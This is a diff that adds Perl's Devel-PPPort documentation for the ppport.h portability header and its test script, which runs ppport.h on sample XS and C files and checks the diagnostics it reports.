+ \$^X \$0 --unstrip
+
+END
+/ms;
+ my($pl, $c) = $self =~ /(.*^__DATA__)(.*)/ms;
+ $c =~ s{
+ / (?: \*[^*]*\*+(?:[^$ccs][^*]*\*+)* / | /[^\r\n]*)
+ | ( "[^"\\]*(?:\\.[^"\\]*)*"
+ | '[^'\\]*(?:\\.[^'\\]*)*' )
+ | ($HS+) }{ defined $2 ? ' ' : ($1 || '') }gsex;
+ $c =~ s!\s+$!!mg;
+ $c =~ s!^$LF!!mg;
+ $c =~ s!^\s*#\s*!#!mg;
+ $c =~ s!^\s+!!mg;
+
+ open OUT, ">$0" or die "cannot strip $0: $!\n";
+ print OUT "$pl$c\n";
+
+ exit 0;
+}
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/ppphdoc b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/ppphdoc
new file mode 100644
index 00000000000..857f39e3fcb
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/ppphdoc
@@ -0,0 +1,346 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+=dontwarn
+
+NEED_function
+NEED_function_GLOBAL
+NEED_variable
+NEED_variable_GLOBAL
+DPPP_NAMESPACE
+
+=implementation
+
+=pod
+
+=head1 NAME
+
+ppport.h - Perl/Pollution/Portability version __VERSION__
+
+=head1 SYNOPSIS
+
+ perl ppport.h [options] [source files]
+
+ Searches current directory for files if no [source files] are given
+
+ --help show short help
+
+ --version show version
+
+ --patch=file write one patch file with changes
+ --copy=suffix write changed copies with suffix
+ --diff=program use diff program and options
+
+ --compat-version=version provide compatibility with Perl version
+ --cplusplus accept C++ comments
+
+ --quiet don't output anything except fatal errors
+ --nodiag don't show diagnostics
+ --nohints don't show hints
+ --nochanges don't suggest changes
+ --nofilter don't filter input files
+
+ --strip strip all script and doc functionality
+ from ppport.h
+
+ --list-provided list provided API
+ --list-unsupported list unsupported API
+ --api-info=name show Perl API portability information
+
+=head1 COMPATIBILITY
+
+This version of F<ppport.h> is designed to support operation with Perl
+installations back to __MIN_PERL__, and has been tested up to __MAX_PERL__.
+
+=head1 OPTIONS
+
+=head2 --help
+
+Display a brief usage summary.
+
+=head2 --version
+
+Display the version of F<ppport.h>.
+
+=head2 --patch=I<file>
+
+If this option is given, a single patch file will be created if
+any changes are suggested. This requires a working diff program
+to be installed on your system.
+
+=head2 --copy=I<suffix>
+
+If this option is given, a copy of each file will be saved with
+the given suffix that contains the suggested changes. This does
+not require any external programs. Note that this does not
+automagically add a dot between the original filename and the
+suffix. If you want the dot, you have to include it in the option
+argument.
+
+If neither C<--patch> or C<--copy> are given, the default is to
+simply print the diffs for each file. This requires either
+C<Text::Diff> or a C<diff> program to be installed.
+
+=head2 --diff=I<program>
+
+Manually set the diff program and options to use. The default
+is to use C<Text::Diff>, when installed, and output unified
+context diffs.
+
+=head2 --compat-version=I<version>
+
+Tell F<ppport.h> to check for compatibility with the given
+Perl version. The default is to check for compatibility with Perl
+version __MIN_PERL__. You can use this option to reduce the output
+of F<ppport.h> if you intend to be backward compatible only
+down to a certain Perl version.
+
+=head2 --cplusplus
+
+Usually, F<ppport.h> will detect C++ style comments and
+replace them with C style comments for portability reasons.
+Using this option instructs F<ppport.h> to leave C++
+comments untouched.
+
+=head2 --quiet
+
+Be quiet. Don't print anything except fatal errors.
+
+=head2 --nodiag
+
+Don't output any diagnostic messages. Only portability
+alerts will be printed.
+
+=head2 --nohints
+
+Don't output any hints. Hints often contain useful portability
+notes. Warnings will still be displayed.
+
+=head2 --nochanges
+
+Don't suggest any changes. Only give diagnostic output and hints
+unless these are also deactivated.
+
+=head2 --nofilter
+
+Don't filter the list of input files. By default, files not looking
+like source code (i.e. not *.xs, *.c, *.cc, *.cpp or *.h) are skipped.
+
+=head2 --strip
+
+Strip all script and documentation functionality from F<ppport.h>.
+This reduces the size of F<ppport.h> dramatically and may be useful
+if you want to include F<ppport.h> in smaller modules without
+increasing their distribution size too much.
+
+The stripped F<ppport.h> will have a C<--unstrip> option that allows
+you to undo the stripping, but only if an appropriate C<Devel::PPPort>
+module is installed.
+
+=head2 --list-provided
+
+Lists the API elements for which compatibility is provided by
+F<ppport.h>. Also lists if it must be explicitly requested,
+if it has dependencies, and if there are hints or warnings for it.
+
+=head2 --list-unsupported
+
+Lists the API elements that are known not to be supported by
+F<ppport.h> and below which version of Perl they probably
+won't be available or work.
+
+=head2 --api-info=I<name>
+
+Show portability information for API elements matching I<name>.
+If I<name> is surrounded by slashes, it is interpreted as a regular
+expression.
+
+=head1 DESCRIPTION
+
+In order for a Perl extension (XS) module to be as portable as possible
+across differing versions of Perl itself, certain steps need to be taken.
+
+=over 4
+
+=item *
+
+Including this header is the first major one. This alone will give you
+access to a large part of the Perl API that hasn't been available in
+earlier Perl releases. Use
+
+ perl ppport.h --list-provided
+
+to see which API elements are provided by ppport.h.
+
+=item *
+
+You should avoid using deprecated parts of the API. For example, using
+global Perl variables without the C<PL_> prefix is deprecated. Also,
+some API functions used to have a C<perl_> prefix. Using this form is
+also deprecated. You can safely use the supported API, as F<ppport.h>
+will provide wrappers for older Perl versions.
+
+=item *
+
+If you use one of a few functions or variables that were not present in
+earlier versions of Perl, and that can't be provided using a macro, you
+have to explicitly request support for these functions by adding one or
+more C<#define>s in your source code before the inclusion of F<ppport.h>.
+
+These functions or variables will be marked C<explicit> in the list shown
+by C<--list-provided>.
+
+Depending on whether you module has a single or multiple files that
+use such functions or variables, you want either C<static> or global
+variants.
+
+For a C<static> function or variable (used only in a single source
+file), use:
+
+ #define NEED_function
+ #define NEED_variable
+
+For a global function or variable (used in multiple source files),
+use:
+
+ #define NEED_function_GLOBAL
+ #define NEED_variable_GLOBAL
+
+Note that you mustn't have more than one global request for the
+same function or variable in your project.
+
+ __EXPLICIT_API__
+
+To avoid namespace conflicts, you can change the namespace of the
+explicitly exported functions / variables using the C<DPPP_NAMESPACE>
+macro. Just C<#define> the macro before including C<ppport.h>:
+
+ #define DPPP_NAMESPACE MyOwnNamespace_
+ #include "ppport.h"
+
+The default namespace is C<DPPP_>.
+
+=back
+
+The good thing is that most of the above can be checked by running
+F<ppport.h> on your source code. See the next section for
+details.
+
+=head1 EXAMPLES
+
+To verify whether F<ppport.h> is needed for your module, whether you
+should make any changes to your code, and whether any special defines
+should be used, F<ppport.h> can be run as a Perl script to check your
+source code. Simply say:
+
+ perl ppport.h
+
+The result will usually be a list of patches suggesting changes
+that should at least be acceptable, if not necessarily the most
+efficient solution, or a fix for all possible problems.
+
+If you know that your XS module uses features only available in
+newer Perl releases, if you're aware that it uses C++ comments,
+and if you want all suggestions as a single patch file, you could
+use something like this:
+
+ perl ppport.h --compat-version=5.6.0 --cplusplus --patch=test.diff
+
+If you only want your code to be scanned without any suggestions
+for changes, use:
+
+ perl ppport.h --nochanges
+
+You can specify a different C<diff> program or options, using
+the C<--diff> option:
+
+ perl ppport.h --diff='diff -C 10'
+
+This would output context diffs with 10 lines of context.
+
+If you want to create patched copies of your files instead, use:
+
+ perl ppport.h --copy=.new
+
+To display portability information for the C<newSVpvn> function,
+use:
+
+ perl ppport.h --api-info=newSVpvn
+
+Since the argument to C<--api-info> can be a regular expression,
+you can use
+
+ perl ppport.h --api-info=/_nomg$/
+
+to display portability information for all C<_nomg> functions or
+
+ perl ppport.h --api-info=/./
+
+to display information for all known API elements.
+
+=head1 BUGS
+
+If this version of F<ppport.h> is causing failure during
+the compilation of this module, please check if newer versions
+of either this module or C<Devel::PPPort> are available on CPAN
+before sending a bug report.
+
+If F<ppport.h> was generated using the latest version of
+C<Devel::PPPort> and is causing failure of this module, please
+send a bug report to L<perlbug@perl.org|mailto:perlbug@perl.org>.
+
+Please include the following information:
+
+=over 4
+
+=item 1.
+
+The complete output from running "perl -V"
+
+=item 2.
+
+This file.
+
+=item 3.
+
+The name and version of the module you were trying to build.
+
+=item 4.
+
+A full log of the build that failed.
+
+=item 5.
+
+Any other information that you think could be relevant.
+
+=back
+
+For the latest version of this code, please get the C<Devel::PPPort>
+module from CPAN.
+
+=head1 COPYRIGHT
+
+Version 3.x, Copyright (c) 2004-2013, Marcus Holland-Moritz.
+
+Version 2.x, Copyright (C) 2001, Paul Marquess.
+
+Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+=head1 SEE ALSO
+
+See L<Devel::PPPort>.
+
+=cut
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/ppphtest b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/ppphtest
new file mode 100644
index 00000000000..925929d6681
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/ppphtest
@@ -0,0 +1,909 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=tests plan => 238
+
+BEGIN {
+ if ($ENV{'SKIP_SLOW_TESTS'}) {
+ for (1 .. 238) {
+ skip("skip: SKIP_SLOW_TESTS", 0);
+ }
+ exit 0;
+ }
+}
+
+use File::Path qw/rmtree mkpath/;
+use Config;
+
+my $tmp = 'ppptmp';
+my $inc = '';
+my $isVMS = $^O eq 'VMS';
+my $isMAC = $^O eq 'MacOS';
+my $perl = find_perl();
+
+rmtree($tmp) if -d $tmp;
+mkpath($tmp) or die "mkpath $tmp: $!\n";
+chdir($tmp) or die "chdir $tmp: $!\n";
+
+if ($ENV{'PERL_CORE'}) {
+ if (-d '../../lib') {
+ if ($isVMS) {
+ $inc = '"-I../../lib"';
+ }
+ elsif ($isMAC) {
+ $inc = '-I:::lib';
+ }
+ else {
+ $inc = '-I../../lib';
+ }
+ unshift @INC, '../../lib';
+ }
+}
+if ($perl =~ m!^\./!) {
+ $perl = ".$perl";
+}
+
+END {
+ chdir('..') if !-d $tmp && -d "../$tmp";
+ rmtree($tmp) if -d $tmp;
+}
+
+ok(&Devel::PPPort::WriteFile("ppport.h"));
+
+# Check GetFileContents()
+ok(-e "ppport.h", 1);
+
+my $data;
+
+open(F, "<ppport.h") or die "Failed to open ppport.h: $!";
+while(<F>) {
+ $data .= $_;
+}
+close(F);
+
+ok(Devel::PPPort::GetFileContents("ppport.h"), $data);
+ok(Devel::PPPort::GetFileContents(), $data);
+
+sub comment
+{
+ my $c = shift;
+ $c =~ s/^/# | /mg;
+ $c .= "\n" unless $c =~ /[\r\n]$/;
+ print $c;
+}
+
+sub ppport
+{
+ my @args = ('ppport.h', @_);
+ unshift @args, $inc if $inc;
+ my $run = $perl =~ m/\s/ ? qq("$perl") : $perl;
+ $run .= ' -MMac::err=unix' if $isMAC;
+ for (@args) {
+ $_ = qq("$_") if $isVMS && /^[^"]/;
+ $run .= " $_";
+ }
+ print "# *** running $run ***\n";
+ $run .= ' 2>&1' unless $isMAC;
+ my @out = `$run`;
+ my $out = join '', @out;
+ comment($out);
+ return wantarray ? @out : $out;
+}
+
+sub matches
+{
+ my($str, $re, $mod) = @_;
+ my @n;
+ eval "\@n = \$str =~ /$re/g$mod;";
+ if ($@) {
+ my $err = $@;
+ $err =~ s/^/# *** /mg;
+ print "# *** ERROR ***\n$err\n";
+ }
+ return $@ ? -42 : scalar @n;
+}
+
+sub eq_files
+{
+ my($f1, $f2) = @_;
+ return 0 unless -e $f1 && -e $f2;
+ local *F;
+ for ($f1, $f2) {
+ print "# File: $_\n";
+ unless (open F, $_) {
+ print "# couldn't open $_: $!\n";
+ return 0;
+ }
+ $_ = do { local $/; <F> };
+ close F;
+ comment($_);
+ }
+ return $f1 eq $f2;
+}
+
+my @tests;
+
+for (split /\s*={70,}\s*/, do { local $/; <DATA> }) {
+ s/^\s+//; s/\s+$//;
+ my($c, %f);
+ ($c, @f{m/-{20,}\s+(\S+)\s+-{20,}/g}) = split /\s*-{20,}\s+\S+\s+-{20,}\s*/;
+ push @tests, { code => $c, files => \%f };
+}
+
+my $t;
+for $t (@tests) {
+ print "#\n", ('# ', '-'x70, "\n")x3, "#\n";
+ my $f;
+ for $f (keys %{$t->{files}}) {
+ my @f = split /\//, $f;
+ if (@f > 1) {
+ pop @f;
+ my $path = join '/', @f;
+ mkpath($path) or die "mkpath('$path'): $!\n";
+ }
+ my $txt = $t->{files}{$f};
+ local *F;
+ open F, ">$f" or die "open $f: $!\n";
+ print F "$txt\n";
+ close F;
+ $txt =~ s/^/# | /mg;
+ print "# *** writing $f ***\n$txt\n";
+ }
+
+ my $code = $t->{code};
+ $code =~ s/^/# | /mg;
+
+ print "# *** evaluating test code ***\n$code\n";
+
+ eval $t->{code};
+ if ($@) {
+ my $err = $@;
+ $err =~ s/^/# *** /mg;
+ print "# *** ERROR ***\n$err\n";
+ }
+ ok($@, '');
+
+ for (keys %{$t->{files}}) {
+ unlink $_ or die "unlink('$_'): $!\n";
+ }
+}
+
+sub find_perl
+{
+ my $perl = $^X;
+
+ return $perl if $isVMS;
+
+ my $exe = $Config{'_exe'} || '';
+
+ if ($perl =~ /^perl\Q$exe\E$/i) {
+ $perl = "perl$exe";
+ eval "require File::Spec";
+ if ($@) {
+ $perl = "./$perl";
+ } else {
+ $perl = File::Spec->catfile(File::Spec->curdir(), $perl);
+ }
+ }
+
+ if ($perl !~ /\Q$exe\E$/i) {
+ $perl .= $exe;
+ }
+
+ warn "find_perl: cannot find $perl from $^X" unless -f $perl;
+
+ return $perl;
+}
+
+__DATA__
+
+my $o = ppport(qw(--help));
+ok($o =~ /^Usage:.*ppport\.h/m);
+ok($o =~ /--help/m);
+
+$o = ppport(qw(--version));
+ok($o =~ /^This is.*ppport.*\d+\.\d+(?:_?\d+)?\.$/);
+
+$o = ppport(qw(--nochanges));
+ok($o =~ /^Scanning.*test\.xs/mi);
+ok($o =~ /Analyzing.*test\.xs/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok(matches($o, 'Analyzing', 'm'), 1);
+ok($o =~ /Uses Perl_newSViv instead of newSViv/);
+
+$o = ppport(qw(--quiet --nochanges));
+ok($o =~ /^\s*$/);
+
+---------------------------- test.xs ------------------------------------------
+
+Perl_newSViv();
+
+===============================================================================
+
+# check if C and C++ comments are filtered correctly
+
+my $o = ppport(qw(--copy=a));
+ok($o =~ /^Scanning.*MyExt\.xs/mi);
+ok($o =~ /Analyzing.*MyExt\.xs/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Uses grok_bin/m);
+ok($o !~ /^Uses newSVpv/m);
+ok($o =~ /Uses 1 C\+\+ style comment/m);
+ok(eq_files('MyExt.xsa', 'MyExt.ra'));
+
+# check if C++ are left untouched with --cplusplus
+
+$o = ppport(qw(--copy=b --cplusplus));
+ok($o =~ /^Scanning.*MyExt\.xs/mi);
+ok($o =~ /Analyzing.*MyExt\.xs/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Uses grok_bin/m);
+ok($o !~ /^Uses newSVpv/m);
+ok($o !~ /Uses \d+ C\+\+ style comment/m);
+ok(eq_files('MyExt.xsb', 'MyExt.rb'));
+
+unlink qw(MyExt.xsa MyExt.xsb);
+
+---------------------------- MyExt.xs -----------------------------------------
+
+newSVuv();
+ // newSVpv();
+ XPUSHs(foo);
+/* grok_bin(); */
+
+---------------------------- MyExt.ra -----------------------------------------
+
+#include "ppport.h"
+newSVuv();
+ /* newSVpv(); */
+ XPUSHs(foo);
+/* grok_bin(); */
+
+---------------------------- MyExt.rb -----------------------------------------
+
+#include "ppport.h"
+newSVuv();
+ // newSVpv();
+ XPUSHs(foo);
+/* grok_bin(); */
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges file1.xs));
+ok($o =~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /Analyzing.*file1\.xs/mi);
+ok($o !~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /^Uses newCONSTSUB/m);
+ok($o =~ /^Uses PL_expect/m);
+ok($o =~ /^Uses SvPV_nolen.*depends.*sv_2pv_flags/m);
+ok($o =~ /WARNING: PL_expect/m);
+ok($o =~ /hint for newCONSTSUB/m);
+ok($o =~ /^Analysis completed \(1 warning\)/m);
+ok($o =~ /^Looks good/m);
+
+$o = ppport(qw(--nochanges --nohints file1.xs));
+ok($o =~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /Analyzing.*file1\.xs/mi);
+ok($o !~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /^Uses newCONSTSUB/m);
+ok($o =~ /^Uses PL_expect/m);
+ok($o =~ /^Uses SvPV_nolen.*depends.*sv_2pv_flags/m);
+ok($o =~ /WARNING: PL_expect/m);
+ok($o !~ /hint for newCONSTSUB/m);
+ok($o =~ /^Analysis completed \(1 warning\)/m);
+ok($o =~ /^Looks good/m);
+
+$o = ppport(qw(--nochanges --nohints --nodiag file1.xs));
+ok($o =~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /Analyzing.*file1\.xs/mi);
+ok($o !~ /^Scanning.*file2\.xs/mi);
+ok($o !~ /^Uses newCONSTSUB/m);
+ok($o !~ /^Uses PL_expect/m);
+ok($o !~ /^Uses SvPV_nolen/m);
+ok($o =~ /WARNING: PL_expect/m);
+ok($o !~ /hint for newCONSTSUB/m);
+ok($o =~ /^Analysis completed \(1 warning\)/m);
+ok($o =~ /^Looks good/m);
+
+$o = ppport(qw(--nochanges --quiet file1.xs));
+ok($o =~ /^\s*$/);
+
+$o = ppport(qw(--nochanges file2.xs));
+ok($o =~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /Analyzing.*file2\.xs/mi);
+ok($o !~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /^Uses mXPUSHp/m);
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Looks good/m);
+ok($o =~ /^1 potentially required change detected/m);
+
+$o = ppport(qw(--nochanges --nohints file2.xs));
+ok($o =~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /Analyzing.*file2\.xs/mi);
+ok($o !~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /^Uses mXPUSHp/m);
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Looks good/m);
+ok($o =~ /^1 potentially required change detected/m);
+
+$o = ppport(qw(--nochanges --nohints --nodiag file2.xs));
+ok($o =~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /Analyzing.*file2\.xs/mi);
+ok($o !~ /^Scanning.*file1\.xs/mi);
+ok($o !~ /^Uses mXPUSHp/m);
+ok($o !~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Looks good/m);
+ok($o =~ /^1 potentially required change detected/m);
+
+$o = ppport(qw(--nochanges --quiet file2.xs));
+ok($o =~ /^\s*$/);
+
+---------------------------- file1.xs -----------------------------------------
+
+#define NEED_newCONSTSUB
+#define NEED_sv_2pv_flags
+#define NEED_PL_parser
+#include "ppport.h"
+
+newCONSTSUB();
+SvPV_nolen();
+PL_expect = 0;
+
+---------------------------- file2.xs -----------------------------------------
+
+mXPUSHp(foo);
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /^Scanning.*FooBar\.xs/mi);
+ok($o =~ /Analyzing.*FooBar\.xs/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok($o !~ /^Looks good/m);
+ok($o =~ /^Uses grok_bin/m);
+
+---------------------------- FooBar.xs ----------------------------------------
+
+newSViv();
+XPUSHs(foo);
+grok_bin();
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /^Scanning.*First\.xs/mi);
+ok($o =~ /Analyzing.*First\.xs/mi);
+ok($o =~ /^Scanning.*second\.h/mi);
+ok($o =~ /Analyzing.*second\.h/mi);
+ok($o =~ /^Scanning.*sub.*third\.c/mi);
+ok($o =~ /Analyzing.*sub.*third\.c/mi);
+ok($o !~ /^Scanning.*foobar/mi);
+ok(matches($o, '^Scanning', 'm'), 3);
+
+---------------------------- First.xs -----------------------------------------
+
+one
+
+---------------------------- foobar.xyz ---------------------------------------
+
+two
+
+---------------------------- second.h -----------------------------------------
+
+three
+
+---------------------------- sub/third.c --------------------------------------
+
+four
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /Possibly wrong #define NEED_foobar in.*test.xs/i);
+
+---------------------------- test.xs ------------------------------------------
+
+#define NEED_foobar
+
+===============================================================================
+
+# And now some complex "real-world" example
+
+my $o = ppport(qw(--copy=f));
+for (qw(main.xs mod1.c mod2.c mod3.c mod4.c mod5.c)) {
+ ok($o =~ /^Scanning.*\Q$_\E/mi);
+ ok($o =~ /Analyzing.*\Q$_\E/i);
+}
+ok(matches($o, '^Scanning', 'm'), 6);
+
+ok(matches($o, '^Writing copy of', 'm'), 5);
+ok(!-e "mod5.cf");
+
+for (qw(main.xs mod1.c mod2.c mod3.c mod4.c)) {
+ ok($o =~ /^Writing copy of.*\Q$_\E.*with changes/mi);
+ ok(-e "${_}f");
+ ok(eq_files("${_}f", "${_}r"));
+ unlink "${_}f";
+}
+
+---------------------------- main.xs ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_newCONSTSUB
+#define NEED_grok_hex_GLOBAL
+#include "ppport.h"
+
+newCONSTSUB();
+grok_hex();
+Perl_grok_bin(aTHX_ foo, bar);
+
+/* some comment */
+
+perl_eval_pv();
+grok_bin();
+Perl_grok_bin(bar, sv_no);
+
+---------------------------- mod1.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_grok_bin_GLOBAL
+#define NEED_newCONSTSUB
+#include "ppport.h"
+
+newCONSTSUB();
+grok_bin();
+{
+ Perl_croak ("foo");
+ Perl_sv_catpvf(); /* I know it's wrong ;-) */
+}
+
+---------------------------- mod2.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_eval_pv
+#include "ppport.h"
+
+newSViv();
+
+/*
+ eval_pv();
+*/
+
+---------------------------- mod3.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+grok_oct();
+eval_pv();
+
+---------------------------- mod4.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+START_MY_CXT;
+
+---------------------------- mod5.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#include "ppport.h"
+call_pv();
+
+---------------------------- main.xsr -----------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_eval_pv_GLOBAL
+#define NEED_grok_hex
+#define NEED_newCONSTSUB_GLOBAL
+#define NEED_sv_2pv_flags_GLOBAL
+#include "ppport.h"
+
+newCONSTSUB();
+grok_hex();
+grok_bin(foo, bar);
+
+/* some comment */
+
+eval_pv();
+grok_bin();
+grok_bin(bar, PL_sv_no);
+
+---------------------------- mod1.cr ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_grok_bin_GLOBAL
+#include "ppport.h"
+
+newCONSTSUB();
+grok_bin();
+{
+ Perl_croak (aTHX_ "foo");
+ Perl_sv_catpvf(aTHX); /* I know it's wrong ;-) */
+}
+
+---------------------------- mod2.cr ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+
+newSViv();
+
+/*
+ eval_pv();
+*/
+
+---------------------------- mod3.cr ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+#define NEED_grok_oct
+#include "ppport.h"
+
+grok_oct();
+eval_pv();
+
+---------------------------- mod4.cr ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+#include "ppport.h"
+
+START_MY_CXT;
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /Uses grok_hex/m);
+ok($o !~ /Looks good/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.8.0));
+ok($o !~ /Uses grok_hex/m);
+ok($o =~ /Looks good/m);
+
+---------------------------- FooBar.xs ----------------------------------------
+
+grok_hex();
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /Uses SvPVutf8_force, which may not be portable/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.5.3));
+ok($o =~ /Uses SvPVutf8_force, which may not be portable/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.005_03));
+ok($o =~ /Uses SvPVutf8_force, which may not be portable/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.6.0));
+ok($o !~ /Uses SvPVutf8_force/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.006));
+ok($o !~ /Uses SvPVutf8_force/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.999.999));
+ok($o !~ /Uses SvPVutf8_force/m);
+
+$o = ppport(qw(--nochanges --compat-version=6.0.0));
+ok($o =~ /Only Perl 5 is supported/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.1000.999));
+ok($o =~ /Invalid version number: 5.1000.999/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.999.1000));
+ok($o =~ /Invalid version number: 5.999.1000/m);
+
+---------------------------- FooBar.xs ----------------------------------------
+
+SvPVutf8_force();
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o !~ /potentially required change/);
+ok(matches($o, '^Looks good', 'm'), 2);
+
+---------------------------- FooBar.xs ----------------------------------------
+
+#define NEED_grok_numeric_radix
+#define NEED_grok_number
+#include "ppport.h"
+
+GROK_NUMERIC_RADIX();
+grok_number();
+
+---------------------------- foo.c --------------------------------------------
+
+#include "ppport.h"
+
+call_pv();
+
+===============================================================================
+
+# check --api-info option
+
+my $o = ppport(qw(--api-info=INT2PTR));
+my %found = map {($_ => 1)} $o =~ /^===\s+(\w+)\s+===/mg;
+ok(scalar keys %found, 1);
+ok(exists $found{INT2PTR});
+ok(matches($o, '^Supported at least starting from perl-5\.6\.0\.', 'm'), 1);
+ok(matches($o, '^Support by .*ppport.* provided back to perl-5\.003\.', 'm'), 1);
+
+$o = ppport(qw(--api-info=Zero));
+%found = map {($_ => 1)} $o =~ /^===\s+(\w+)\s+===/mg;
+ok(scalar keys %found, 1);
+ok(exists $found{Zero});
+ok(matches($o, '^No portability information available\.', 'm'), 1);
+
+$o = ppport(qw(--api-info=/Zero/));
+%found = map {($_ => 1)} $o =~ /^===\s+(\w+)\s+===/mg;
+ok(scalar keys %found, 2);
+ok(exists $found{Zero});
+ok(exists $found{ZeroD});
+
+===============================================================================
+
+# check --list-provided option
+
+my @o = ppport(qw(--list-provided));
+my %p;
+my $fail = 0;
+for (@o) {
+ my($name, $flags) = /^(\w+)(?:\s+\[(\w+(?:,\s+\w+)*)\])?$/ or $fail++;
+ exists $p{$name} and $fail++;
+ $p{$name} = defined $flags ? { map { ($_ => 1) } $flags =~ /(\w+)/g } : '';
+}
+ok(@o > 100);
+ok($fail, 0);
+
+ok(exists $p{call_pv});
+ok(not ref $p{call_pv});
+
+ok(exists $p{grok_bin});
+ok(ref $p{grok_bin}, 'HASH');
+ok(scalar keys %{$p{grok_bin}}, 2);
+ok($p{grok_bin}{explicit});
+ok($p{grok_bin}{depend});
+
+ok(exists $p{gv_stashpvn});
+ok(ref $p{gv_stashpvn}, 'HASH');
+ok(scalar keys %{$p{gv_stashpvn}}, 2);
+ok($p{gv_stashpvn}{depend});
+ok($p{gv_stashpvn}{hint});
+
+ok(exists $p{sv_catpvf_mg});
+ok(ref $p{sv_catpvf_mg}, 'HASH');
+ok(scalar keys %{$p{sv_catpvf_mg}}, 2);
+ok($p{sv_catpvf_mg}{explicit});
+ok($p{sv_catpvf_mg}{depend});
+
+ok(exists $p{PL_signals});
+ok(ref $p{PL_signals}, 'HASH');
+ok(scalar keys %{$p{PL_signals}}, 1);
+ok($p{PL_signals}{explicit});
+
+===============================================================================
+
+# check --list-unsupported option
+
+my @o = ppport(qw(--list-unsupported));
+my %p;
+my $fail = 0;
+for (@o) {
+ my($name, $ver) = /^(\w+)\s*\.+\s*([\d._]+)$/ or $fail++;
+ exists $p{$name} and $fail++;
+ $p{$name} = $ver;
+}
+ok(@o > 100);
+ok($fail, 0);
+
+ok(exists $p{utf8_distance});
+ok($p{utf8_distance}, '5.6.0');
+
+ok(exists $p{save_generic_svref});
+ok($p{save_generic_svref}, '5.005_03');
+
+===============================================================================
+
+# check --nofilter option
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /^Scanning.*foo\.cpp/mi);
+ok($o =~ /Analyzing.*foo\.cpp/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok(matches($o, 'Analyzing', 'm'), 1);
+
+$o = ppport(qw(--nochanges foo.cpp foo.o Makefile.PL));
+ok($o =~ /Skipping the following files \(use --nofilter to avoid this\):/m);
+ok(matches($o, '^\|\s+foo\.o', 'mi'), 1);
+ok(matches($o, '^\|\s+Makefile\.PL', 'mi'), 1);
+ok($o =~ /^Scanning.*foo\.cpp/mi);
+ok($o =~ /Analyzing.*foo\.cpp/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
